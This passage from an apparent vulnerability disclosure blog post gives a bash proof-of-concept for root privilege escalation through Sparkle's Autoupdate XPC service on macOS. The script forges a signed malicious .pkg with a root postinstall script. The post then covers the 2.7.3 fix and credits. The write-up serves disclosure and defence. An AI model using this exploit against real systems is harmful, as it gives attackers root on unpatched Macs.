PKG_ROOT_DIR="$POC_DIR/pkg_root"
PKG_SCRIPTS_DIR="$POC_DIR/pkg_scripts"
EXPLOIT_NAME="sparkle_exploit_pkg"
SIG_FILE="$POC_DIR/signature.txt"
PRIVATE_KEY_PEM="$POC_DIR/private_key.pem"
echo "[+] Setting up PKG exploit environment in $POC_DIR"
rm -rf "$POC_DIR"
mkdir -p "$VALIDATED_DOWNLOAD_DIR" "$PKG_ROOT_DIR" "$PKG_SCRIPTS_DIR"
# 1. Generate an Ed25519 private key using openssl.
echo "[+] Generating Ed25519 private key with openssl..."
openssl genpkey -algorithm Ed25519 -out "$PRIVATE_KEY_PEM" 2>/dev/null
# 2. Extract the raw 32-byte public key and Base64 encode it, as Sparkle expects.
echo "[+] Extracting and formatting public key..."
PUBLIC_KEY=$(openssl pkey -in "$PRIVATE_KEY_PEM" -pubout -outform DER | tail -c 32 | base64)
if [ -z "$PUBLIC_KEY" ]; then
echo "[!] FAILED to extract public key."
exit 1
fi
echo "[+] Public key for Info.plist: $PUBLIC_KEY"
# 3. Create a minimal fake "host" bundle containing our public key.
if [ -z "$1" ]; then
echo "Usage: $0 <target_bundle_id>"
exit 1
fi
TARGET_BUNDLE_ID=$1
echo "[+] Creating fake host bundle at $FAKE_BUNDLE_PATH with ID $TARGET_BUNDLE_ID"
mkdir -p "$FAKE_BUNDLE_PATH/Contents"
plutil -create xml1 "$FAKE_BUNDLE_PATH/Contents/Info.plist"
plutil -insert CFBundleIdentifier -string "$TARGET_BUNDLE_ID" "$FAKE_BUNDLE_PATH/Contents/Info.plist"
plutil -insert CFBundleVersion -string "1.0" "$FAKE_BUNDLE_PATH/Contents/Info.plist"
plutil -insert SUPublicEDKey -string "$PUBLIC_KEY" "$FAKE_BUNDLE_PATH/Contents/Info.plist"
# 4. Create the malicious postinstall script.
echo "[+] Creating malicious postinstall script..."
POSTINSTALL_PATH="$PKG_SCRIPTS_DIR/postinstall"
cat > "$POSTINSTALL_PATH" << EOF
#!/bin/sh
# This script will be executed as root by the Autoupdate service.
id > /tmp/root.txt
exit 0
EOF
chmod +x "$POSTINSTALL_PATH"
# 5. Create the malicious .pkg file.
echo "[+] Creating malicious package at $MALICIOUS_PKG_PATH"
pkgbuild --root "$PKG_ROOT_DIR" \
--scripts "$PKG_SCRIPTS_DIR" \
--identifier "com.pwn.sparkle.pkg" \
"$MALICIOUS_PKG_PATH"
# 6. Sign the .pkg file using our private key and openssl.
echo "[+] Signing malicious package with openssl..."
openssl pkeyutl -sign -inkey "$PRIVATE_KEY_PEM" -rawin -in "$MALICIOUS_PKG_PATH" | base64 > "$SIG_FILE"
echo "[+] Signature saved to $SIG_FILE"
# 7. Compile the main exploit code.
echo "[+] Compiling exploit_pkg.m into ./$EXPLOIT_NAME"
clang -framework Foundation exploit_pkg.m -o "$EXPLOIT_NAME"
# 8. Bootstrap the Sparkle Installer service.
echo "[+] Bootstrapping Sparkle Installer service..."
launchctl bootstrap gui/$(id -u) /Applications/Ghostty.app/Contents/Frameworks/Sparkle.framework/Versions/B/XPCServices/Installer.xpc
echo
echo "[+] Setup complete. Run the exploit (as a normal user) with:"
echo " ./$EXPLOIT_NAME <target_bundle_id>"
echo
echo "If successful, /tmp/root.txt will be created and owned by root."The exploit simply creates /tmp/root.txt file as root with the output of the “id” command. Below is also a short movie that shows the whole exploitation:
To summarize, this is a privilege escalation to root using Sparkle update with an arbitrary bundle and arbitrary package installer (pkg) because anyone could connect to the Autoupdate service. This path only makes the attacker low-profile, using a legitimate app (malware could also just spawn a phishy window that asks for root). The second path through a race condition window makes it a bigger threat.
Mitigation
The full changelog can be seen in Sparkle 2.7.3 – Important security fixes for local exploits. The vulnerability does not impact Sparkle 1 and apps that have made a custom build of Sparkle by disabling SPARKLE_BUILD_PACKAGE_SUPPORT (which is rarely done). Fix includes:
- Improved validation of the client against the bundle to update
- Enforcing code signing requirements.
As in previous case, the client code signature validation is a primary mitigation here, as it adds authorization checks to shouldAcceptNewConnection, so only authorized processes can connect to the Autoupdate.
Final Words
Special thanks to Zorg, who handled the whole case very quickly. Some vendors can learn from Developers like him. From the initial report to patch and retests, it took around three weeks to close this issue, while some of the reports to other vendors took them more than a year.
While the Sparkle release (2.7.3 and later) addresses these flaws through stricter validation and code signing enforcement, the incident serves as a broader reminder that any macOS software that uses XPC without verifying its clients is at risk. An important thing to note is that the code signature is only enforced for apps that use Apple-issued certificates, so any third-party software not validly signed is still vulnerable. This is another reminder of the importance of valid code signatures, as the entire macOS platform relies on them.
One last thing, referring to our recent blog post “Desktop Application Security Standard: Introducing DASVS” we can also classify these two vulnerabilities according to the standard as:
- V2: Authentication
- V2.3: Integration with Platform Authentication
- 2.3.1: Verify that the application correctly implements the authentication workflow and security model when using OS-provided authentication services.
- V2.3: Integration with Platform Authentication
We encourage the community to use it and provide us with feedback so we can improve it.
References
- OffensiveCon19 – Tyler Bohan – OSX XPC Revisited – 3rd Party Application Flaws
- OBTS3 – Wojciech Reguła – Abusing & Securing XPC in macOS apps
- Sparkle 2.7.3 – Important security fixes for local exploits #2764
- Snake&Apple – Karol Mazurek




